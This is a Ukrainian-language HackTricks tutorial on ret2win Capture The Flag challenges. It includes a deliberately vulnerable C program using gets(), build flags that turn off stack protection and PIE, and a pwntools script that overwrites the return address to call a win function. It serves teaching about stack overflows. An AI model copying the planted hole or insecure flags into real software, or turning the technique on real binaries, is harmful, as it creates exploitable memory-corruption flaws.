Ret2win

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Базова інформація

Виклики Ret2win є популярною категорією на змаганнях Capture The Flag (CTF), особливо в завданнях, які включають експлуатацію бінарних файлів. Мета полягає в експлуатації вразливості в заданому бінарному файлі для виконання певної, не викликаної функції всередині файлу, яка часто має назву, наприклад, win, ret2win, тощо. Ця функція, коли виконується, зазвичай виводить прапорець або повідомлення про успіх. Зазвичай виклик включає перезапис адреси повернення на стеку для перенаправлення потоку виконання до бажаної функції. Ось більш детальне пояснення з прикладами:

Приклад на мові C

Розглянемо просту програму на мові C з вразливістю та функцією win, яку ми маємо намір викликати:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Для компіляції цієї програми без захисту стеку та з вимкненим ASLR, ви можете використати наступну команду:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Компілювати програму як 32-бітний бінарний файл (це необов'язково, але загально використовується в завданнях CTF).

  • -fno-stack-protector: Вимкнути захист від переповнення стеку.

  • -z execstack: Дозволити виконання коду на стеці.

  • -no-pie: Вимкнути позиційно-незалежний виконуваний файл, щоб забезпечити, що адреса функції win не зміниться.

  • -o vulnerable: Назвати вихідний файл vulnerable.

Python Exploit використовуючи Pwntools

Для експлойту ми використаємо pwntools, потужний фреймворк CTF для написання експлойтів. Скрипт експлойту створить полезне навантаження для переповнення буфера та перезапису адреси повернення адресою функції win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Для знаходження адреси функції win ви можете використовувати gdb, objdump або будь-який інший інструмент, який дозволяє вам переглядати бінарні файли. Наприклад, з objdump ви можете використати:

objdump -d vulnerable | grep win

Ця команда покаже вам асемблерну частину функції win, включаючи початкову адресу.

Сценарій Python надсилає уважно створене повідомлення, яке, оброблене функцією vulnerable_function, переповнює буфер і перезаписує адресу повернення на стеку адресою win. Коли vulnerable_function повертається, замість повернення до main або виходу, він переходить до win, і повідомлення виводиться.

Захисти

  • ASLR повинен бути вимкнений для того, щоб адреса була надійною під час виконання або адреса, де буде збережена функція, не завжди буде однаковою, і вам знадобиться якийсь витік, щоб з'ясувати, де завантажена функція win.

  • Stack Canaries також повинні бути вимкнені, або компрометована адреса повернення EIP ніколи не буде виконана.

Інші приклади

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated